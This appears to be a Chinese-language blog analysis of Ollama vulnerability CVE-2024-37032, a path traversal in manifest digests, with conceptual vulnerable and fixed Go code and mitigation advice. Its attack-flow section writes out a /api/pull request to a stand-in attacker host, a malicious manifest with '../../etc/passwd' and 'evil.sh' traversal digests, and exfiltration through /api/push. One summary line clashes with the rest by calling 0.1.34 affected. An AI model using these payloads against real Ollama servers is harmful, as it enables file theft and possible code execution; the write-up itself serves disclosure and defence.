Ollama的“信任”之殇:深度剖析路径遍历漏洞 CVE-2024-37032 (RCE风险)
CVE-2024-37032是Ollama(一款开源本地LLM管理工具)中的高危路径遍历漏洞,影响版本0.1.34。攻击者通过伪造模型注册表,在清单文件的digest字段注入路径遍历序列(如../../etc/passwd),诱导Ollama实例读取/写入系统任意文件,可能升级为RCE。漏洞源于modelpath.go未对digest做SHA256格式校验,官方在0.1.34版本通过正则表达式严格
摘要: 本文旨在为安全研究人员、开发者及系统管理员深入剖析近期披露的Ollama严重漏洞——CVE-2024-37032。该漏洞被评为高危,其根源在于Ollama处理模型清单(manifest)文件时,对digest字段存在路径遍历缺陷。文章将从防御者视角,详细拆解攻击者如何通过架设恶意注册表服务器(rogue registry),诱导受害者Ollama实例拉取一个包含恶意digest(如../../etc/passwd)的清单文件,从而绕过文件系统边界,实现任意文件读取,并可能进一步升级为任意文件写入乃至远程代码执行(RCE)。本文将结合源码分析(modelpath.go中的GetBlobsPath函数),揭示漏洞的具体成因及官方的修复方案(严格校验digest格式)。最后,文章将提供明确的受影响版本范围、复现步骤参考以及关键的缓解与修复建议。
关键词: CVE-2024-37032, Ollama, 路径遍历, 任意文件读取, RCE, 漏洞分析, Go, 安全编码, 输入验证, Docker Registry
Ollama作为一款极受欢迎的、用于在本地运行大型语言模型(LLM)的开源工具,其简洁易用性赢得了广泛赞誉。然而,一个编号为CVE-2024-37032的高危漏洞的披露,为我们敲响了警钟:即使是面向本地环境设计的工具,其与外部世界的交互点(如此处的模型拉取机制)也可能成为攻击者入侵的“特洛伊木马”。
该漏洞允许未经身份验证的攻击者,通过巧妙地操纵Ollama与(伪造的)模型注册表的交互,实现服务器上的任意文件读取,甚至可能升级为远程代码执行。本文将带你深入这个漏洞的核心,理解其原理,并掌握有效的防御之道。
1. 受影响产品介绍
Ollama是一个开源工具,旨在简化在本地计算机上运行和管理大型语言模型(如Llama 2, Mistral等)的过程。它提供了一个命令行界面和一个API服务器,允许用户轻松下载、运行和创建自定义模型。其核心功能之一,就是模仿Docker Hub等容器镜像仓库的机制,从远程“注册表”(Registry)拉取(pull)模型文件。
2. 漏洞详情
2.1 漏洞原理
CVE-2024-37032的本质是一个经典的**路径遍历(Path Traversal)**漏洞。它发生在Ollama处理从远程注册表下载的模型“清单”(manifest)文件时。清单文件中包含了一个digest字段,它本应是一个文件的SHA256哈希值,用于唯一标识和校验模型层(layer)文件。
然而,存在漏洞的Ollama版本未能严格校验digest字段的格式。它错误地允许该字段包含../等路径控制字符。当Ollama使用这个被污染的digest值去构建本地文件路径以查找或存储模型层时,路径遍历就发生了,导致Ollama访问到了其数据存储目录之外的文件系统位置。
2.2 漏洞技术细节:攻击流程
攻击者利用此漏洞需要一个“配合”:一个由攻击者控制的、伪装成合法模型注册表的恶意服务器(Rogue Registry)。
-
初始化请求 (Attacker -> Victim Ollama): 攻击者向目标Ollama服务器(假设其未配置认证)的
JSON/api/pull端点发送一个POST请求,要求它从攻击者的恶意服务器上拉取一个“模型”。POST /api/pull HTTP/1.1 Host: victim-ollama-server:11434 Content-Type: application/json { "name": "attacker-server.com/rogue/model:latest", "insecure": true // 允许使用HTTP,绕过SSL证书验证 }-
name: 指向攻击者的恶意服务器和任意模型名称。 -
insecure: true: 是攻击成功的关键之一,避免了配置HTTPS证书的麻烦。
-
-
Ollama请求清单 (Victim Ollama -> Attacker Server): 受害者Ollama服务器收到请求后,会按照Docker Registry V2 API规范,向
attacker-server.com请求模型的清单文件。例如,它会发出类似GET /v2/rogue/model/manifests/latest的请求。 -
恶意服务器响应 (Attacker Server -> Victim Ollama): 攻击者的服务器返回一个精心构造的、恶意的清单文件(manifest)。这个JSON文件的关键在于其
config或layers数组中的digest字段被注入了路径遍历Payload。恶意清单示例 (
JSONmanifest.json):{ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": { "mediaType": "application/vnd.docker.container.image.v1+json", // 关键Payload:将digest替换为路径遍历序列 "digest": "../../../../../../../../../../../../../etc/passwd", "size": 10 // size值不重要 }, "layers": [ { "mediaType": "application/vnd.ollama.image.model", // 示例类型 // 也可以在layers中注入 "digest": "../../../../../../../../../../../../../some/writable/path/evil.sh", "size": 10 } // ... 其他层 ... ] } -
漏洞触发 (Victim Ollama): Ollama接收并解析这个恶意的清单文件。当它尝试根据
digest字段的值去定位或创建本地缓存文件时,由于未能过滤../,操作系统会将路径解析到digest所指向的、预期之外的位置(例如/etc/passwd)。 -
数据获取/写入:
-
任意文件读取:如果
digest指向一个存在的文件(如/etc/passwd),Ollama可能会尝试读取它(例如,作为配置层或模型层),攻击者后续可以通过其他API(如下文提到的/api/push)或通过观察错误信息来间接获取文件内容。 -
任意文件写入(潜在RCE):如果
digest指向一个可写的路径(例如,../../tmp/payload),并且Ollama的逻辑涉及到向这个路径写入数据(例如,下载并保存模型层),攻击者就可能实现任意文件写入。如果能写入到Web目录、计划任务目录或覆盖可执行文件,就可能升级为远程代码执行。
-
-
数据回传 (Attacker -> Victim Ollama -> Attacker Server): 公开的PoC利用了
/api/push接口。在通过/api/pull触发了文件读取后,攻击者再向/api/push发送请求,指定一个目标(同样可以是攻击者的恶意服务器)。Ollama在处理push时,会尝试将之前根据恶意digest“读取”到的内容(即/etc/passwd的内容)发送回攻击者的服务器。
2.3 Payload作用原理总结
Payload成功的核心在于利用了Ollama实现的多个缺陷的组合:
-
digest字段输入验证缺失:未能强制要求digest必须是SHA256格式,也未能过滤路径遍历字符。 -
信任外部清单:过度信任从(可能被
insecure: true指定的)外部注册表获取的清单文件的内容。 -
文件路径构建缺陷:直接将未经验证的
digest用于拼接本地文件路径。 -
API设计问题 (次要):
/api/push等接口可能在设计时未充分考虑到内容来源已被污染的可能性。
3. 漏洞源码分析
3.1 问题代码定位
根据公开信息,漏洞的核心代码位于Ollama源码的server/modelpath.go文件中,具体是在处理模型层Blob路径的函数,如GetBlobsPath(或类似功能函数)。
3.2 脆弱代码片段 (v0.1.33及之前)
原理性的脆弱代码模式如下(非直接复制代码,但反映核心问题):
Go
// modelpath.go (Vulnerable Version - Conceptual)
import "path/filepath"
// GetBlobsPath 返回给定digest对应的blob文件的预期路径
func GetBlobsPath(digest string) string {
// 假设 blobsDir 是存储模型层的根目录, e.g., "/var/ollama/data/blobs"
blobsDir := getBlobsRootDir()
// 致命缺陷:直接使用 filepath.Join 拼接未经验证的 digest
// filepath.Join 会清理路径,但不会阻止 '..' 向上跳转
// 例如, Join("/root", "../etc/passwd") 会得到 "/etc/passwd"
blobPath := filepath.Join(blobsDir, "sha256", digest)
// 如果 digest 是 "../../../etc/passwd", blobPath 将指向 /etc/passwd
return blobPath
}
问题分析:filepath.Join虽然会处理多余的斜杠,但它不会阻止合法的路径遍历序列..。代码完全信任了digest参数,认为它一定是一个合法的哈希值,而没有进行任何格式校验。
3.3 修复分析 (v0.1.34)
Ollama在v0.1.34版本中修复了此漏洞(相关commit: 2a21363bb756a7341d3d577f098583865bd7603f)。修复的核心是增加了对digest格式的严格验证。
修复后的代码逻辑(原理性):
Go
// modelpath.go (Fixed Version - Conceptual)
import (
"path/filepath"
"regexp"
"fmt"
)
// 定义一个严格匹配SHA256哈希格式的正则表达式
var sha256Regex = regexp.MustCompile(`^[a-fA-F0-9]{64}$`)
func GetBlobsPath(digest string) (string, error) {
// --- 核心修复:增加格式校验 ---
if !sha256Regex.MatchString(digest) {
return "", fmt.Errorf("invalid digest format: %s", digest)
}
// --- 修复结束 ---
blobsDir := getBlobsRootDir()
// 此时的 digest 已经保证是合法的SHA256哈希,不再包含'..'等危险字符
blobPath := filepath.Join(blobsDir, "sha256", digest)
return blobPath, nil
}
修复解读:通过引入正则表达式^[a-fA-F0-9]{64}$,强制要求digest必须是一个由64位十六进制字符组成的字符串。任何包含../或其他非法字符的输入都会在第一时间被拒绝,路径遍历漏洞被彻底根除。
4. 漏洞影响与危害
-
影响范围:所有
Ollama < 0.1.34版本。 -
潜在危害:
-
数据泄露:读取服务器任意文件,窃取敏感配置、代码、用户数据等。
-
系统瘫痪:通过写入关键系统文件或耗尽资源导致服务中断。
-
权限提升/RCE:如果能写入WebShell、计划任务或覆盖可执行文件,即可获得服务器的完全控制权。
-
内网跳板:以此服务器为据点,对内部网络发起进一步攻击。
-
5. 复现与验证 (参考)
-
环境搭建:可以使用官方提供的历史版本Docker镜像快速搭建漏洞环境:
docker run -d --rm -p 11434:11434 --name ollama-vuln ollama/ollama:0.1.33 -
漏洞验证PoC:社区已公开多个PoC脚本(如GitHub上的
Bi0x/CVE-2024-37032),通常包含一个server.py(模拟恶意注册表)和一个poc.py(向目标Ollama发送请求)。按照其说明运行即可验证漏洞。
6. 缓解与修复建议
-
【核心】立即升级:将Ollama立即升级到
0.1.34或更高版本。这是最根本、最有效的解决方案。 -
网络隔离:绝不将未配置认证的Ollama实例暴露在公网上。使用防火墙或安全组,将Ollama API端口(默认为11434)的访问权限,严格限制在可信的IP地址范围内(例如,仅允许本地或内部开发网络访问)。
-
禁用模型拉取(如果可行):如果你的Ollama实例仅用于运行本地已有的模型,不需要从外部注册表拉取新模型,可以考虑通过网络策略阻止其出站访问外部HTTP/HTTPS端口。但这会影响其核心功能。
-
运行时监控 (EDR/RASP):部署EDR等工具,监控Ollama进程是否有异常的文件访问行为(访问
/etc/等敏感目录)或创建可疑子进程的行为。
7. 总结
CVE-2024-37032是“信任”与“验证”失衡的又一个典型案例。Ollama在与外部注册表交互时,未能充分验证对方提供的数据(digest字段),导致了这个严重的安全漏洞。
它带给我们的教训是:
-
输入验证无处不在:即使是看似内部使用的、由协议定义的字段(如
digest),如果其来源不可信,也必须进行严格的格式和内容校验。 -
“便利”可能隐藏风险:
insecure: true这样的选项虽然方便了开发和测试,但在生产环境中应极度审慎使用,因为它直接绕过了TLS提供的身份验证和信道安全。 -
及时更新是生命线:对于任何开源软件,保持关注其安全公告并及时应用补丁,是避免成为已知漏洞受害者的不二法门。
请立即检查你环境中运行的Ollama实例,确保它们已经得到修复或采取了有效的缓解措施。
如果您觉得这篇文章对您有帮助,请不要吝啬您的点赞和收藏!您的支持是我创作的最大动力!
更多推荐


所有评论(0)